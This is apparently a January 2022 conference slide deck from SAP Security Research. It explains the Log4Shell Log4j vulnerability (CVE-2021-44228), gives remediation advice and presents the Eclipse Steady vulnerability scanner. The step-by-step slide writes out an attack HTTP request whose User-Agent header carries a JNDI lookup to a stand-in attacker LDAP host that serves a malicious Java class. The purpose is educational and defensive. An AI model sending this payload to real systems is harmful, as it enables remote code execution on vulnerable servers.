Manage Log4Shell and other open-source vulnerabilities with Eclipse Steady

Henrik Plate (SAP Security Research)
January 14th, 2022
Agenda

Log4Shell
- Intro
- Step-by-step
- Demo
- Take-aways

Eclipse Steady
- Overview
- Approaches
- Architecture
- Demo
- Pros & Cons
Log4Shell
Log4j and CVE-2021-44228
Log4Shell
Introduction to CVE-2021-44228

- Apache Log4j is a widely used logging library in Java
- **CVE-2021-44228** allows for remote code execution (RCE)
- Low attack complexity, no privileges required, complete compromise → CVSS 10
- Attack succeeds if strings with JNDI lookups `${jndi:...}` are logged by apps depending on vulnerable versions of Log4j (2.0-beta9 to 2.14.1)
- Configuration settings can limit exposure and increase complexity (but not mitigate completely)
- Three other vulnerabilities have been found afterwards (CVE-2021-45046, 45105 and 44832)
- Latest non-vulnerable release is 2.17.1
Log4Shell
Step-by-step

Needs combination with other safeguards

An attacker inserts the JNDI lookup in a header field that is likely to be logged.

GET /test HTTP/1.1
Host: victim.xa
User-Agent: *{jndi:ldap://evil.xa/x}*

The string is passed to log4j for logging.

log4j interpolates the string and queries the malicious LDAP server.

log4j://evil.xa/x

The LDAP server responds with directory information that contains the malicious Java class.

dn: javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: ...

JAVA deserializes (or downloads) the malicious Java class and executes it.

https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
Log4Shell Demo

```java
import org.apache.logging.log4j.Logger;

public class Main {
  private static final Logger log = org.apache.logging.log4j.LogManager.getLogger("Main.class");

  public static void main(String... args) {
    for (String arg : args) {
      log.error(arg);
    }
  }
}
```

```java
public class Exploit {
  static {
    System.out.println("*** Malicious <clinit> ***");
  }

  public Exploit() {
    System.out.println("*** Malicious constructor ***");
  }
}
```

```
```
Log4Shell
Re-bundles

- Re-bundles are Java archives containing code of other open-source projects

- Example use-cases
  - Self-contained, executable JARs (Uber-JARs)
  - OSGI bundles
  - Forks

- Different variations:
  - Identical bytecode, re-compiled or re-packaged
  - With or without meta-data (META-INF/maven/…/pom.xml)

- Example: 3233 artifacts on Maven Central contain the problematic Log4j class JndiLookup

- Problems:
  - If vulnerable re-bundles appear before log4j-core 2.17.1 in the Java runtime classpath, the vulnerable classes are loaded from the re-bundle
  - Open-source vulnerability scanners struggle to identify re-bundles (depending on the variations) [1]

Log4Shell

Take-aways

- The attack complexity is very low
- Configuration settings can limit exposure and increase complexity (but not mitigate completely)
- Not only user-facing apps are affected (but any app that receives and logs untrusted input)
- Re-bundles of Log4j can also result in vulnerable apps

To fix

- Update to non-vulnerable versions of Log4j (and re-bundles) or remove JndiLookup.class
- Additionally, specify secure defaults in case vulnerable re-bundles are missed (to reduce exposure)

Eclipse Steady
https://github.com/eclipse/steady

partially funded by EU project
After Heartbleed and Equifax
Entering the Hamster Wheel

- **Check** for new vulnerability disclosures (hopefully automated)
- Dismiss false-positives, **assess** true-positives (keep fingers crossed for false-negatives)
- **Mitigate**
  (from *piece-of-cake* to *very expensive*)
- **Release and install patch**
  (cloud ☺ on-premise ☺ devices ☹)

© 2022 SAP SE or an SAP affiliate company. All rights reserved. | PUBLIC
Open-Source Vulnerability Detection

Two Approaches

Metadata-based
- Primarily rely on package names and versions, package digests, CPEs, etc.
- Example: OWASP Dependency Check (light-weight, maps against CVE/NVD)

Code-based
- Detect the presence of code (no matter the package)
- Example: Eclipse Steady (heavy-weight, requires fix-commits)
- Supports impact assessments (static and dynamic analyses), esp. important for later lifecycle phases and non-cloud
- Supports update metrics to avoid regressions [1]
- Based on Project KB, which contains fix commits for given vulnerabilities

References:
- Public dataset contains code-level vulnerability information → Project KB on GitHub
- Always-on Docker Compose app stores analysis results → Docker Hub
- Plugins or CLI scan Java apps in CI/CD pipelines → Maven Central
Setup → Scan → Browse Results → Central Report

Demo

1) Shell scripts to setup and start the Docker Compose app (vulnerabilities from Project KB are imported after 1st startup…)

2) Maven plugin to scan a sample application

3) Web frontend to browse scan results

4) REST API to export scan results
The bigger the organization, the more Java projects, esp. non-cloud, and internal re-use components, and with central security/toolling teams: Eclipse Steady

<table>
<thead>
<tr>
<th><strong>Steady Pros</strong></th>
<th><strong>Steady Cons (compared to OWASP DC)</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Scans can be separated into workspaces w/ configurable properties</td>
<td>Depends on code-level vuln. info (more than just NVD → extra community effort)</td>
</tr>
<tr>
<td>New vulns. do not require app re-scans</td>
<td>More complex setup (e.g. private cloud)</td>
</tr>
<tr>
<td>Central reporting</td>
<td>Focus on Java</td>
</tr>
<tr>
<td>Vulns. of internal components can be covered</td>
<td></td>
</tr>
<tr>
<td>Fewer FPs/FNs and additional features (due to code-centric analysis)</td>
<td></td>
</tr>
</tbody>
</table>

Eclipse Steady
Pros & Cons
Thank you.

Henrik.Plate@sap.com
https://www.linkedin.com/in/HenrikPlate/
https://twitter.com/HenrikPlate